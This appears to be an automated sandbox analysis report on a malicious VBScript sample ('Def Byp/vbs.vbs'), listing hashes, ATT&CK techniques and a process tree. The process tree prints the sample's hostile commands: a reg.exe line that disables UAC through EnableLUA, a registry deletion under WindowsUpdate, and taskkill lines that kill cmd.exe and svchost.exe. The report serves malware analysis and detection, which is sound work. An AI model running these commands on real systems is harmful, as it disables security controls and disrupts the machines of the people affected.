fba9f9bd6129baf61a49e08a23902d5408b9ad1ebf041fe5bf0ae30d3719d857

General

Target

Def Byp/vbs.vbs
Size

1KB
MD5

8fc69337ab4bbb5ffa1ae6bce6be8b63
SHA1

826a48936ab1d485d28eb2db4401502e4d0e8891
SHA256

517e1a63494abb3a33c37dd5a68caa36b44a8a3c18e8729d06d6f81dda3f11c4
SHA512

ed832c83972a451392fbf9f59468d64dd2e1ae11d026dbb4346b4ca15c5dc1f11df939c769f10c72a09a78866256da0ff9c4578f6bef1cd374db029342056c65

Score

10^/10

evasion trojan

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables Task Manager via registry modification
evasion
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 3 IoCs

evasion

pid	Process
1520	taskkill.exe
4576	taskkill.exe
3548	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4924	reg.exe
1696	reg.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	taskkill.exe
Token: SeDebugPrivilege	4576	taskkill.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4256 wrote to memory of 5024	4256	WScript.exe	79
PID 4256 wrote to memory of 5024	4256	WScript.exe	79
PID 4256 wrote to memory of 3532	4256	WScript.exe	81
PID 4256 wrote to memory of 3532	4256	WScript.exe	81
PID 4256 wrote to memory of 1212	4256	WScript.exe	83
PID 4256 wrote to memory of 1212	4256	WScript.exe	83
PID 5024 wrote to memory of 1696	5024	cmd.exe	84
PID 5024 wrote to memory of 1696	5024	cmd.exe	84
PID 4256 wrote to memory of 1520	4256	WScript.exe	85
PID 4256 wrote to memory of 1520	4256	WScript.exe	85
PID 1212 wrote to memory of 4640	1212	wscript.exe	87
PID 1212 wrote to memory of 4640	1212	wscript.exe	87
PID 1212 wrote to memory of 2996	1212	wscript.exe	89
PID 1212 wrote to memory of 2996	1212	wscript.exe	89
PID 1212 wrote to memory of 4576	1212	wscript.exe	92
PID 1212 wrote to memory of 4576	1212	wscript.exe	92
PID 4640 wrote to memory of 4924	4640	cmd.exe	94
PID 4640 wrote to memory of 4924	4640	cmd.exe	94
PID 4256 wrote to memory of 3548	4256	WScript.exe	96
PID 4256 wrote to memory of 3548	4256	WScript.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Def Byp\vbs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\System32\reg.exe
    C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:1696
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v ABC_DEF /f
  2⤵
  PID:3532
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Def Byp\vbs.vbs" uac
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\System32\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:4924
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v ABC_DEF /f
    3⤵
    PID:2996
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im cmd.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1520
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im svchost.exe
  2⤵
  - Kills process with taskkill
  PID:3548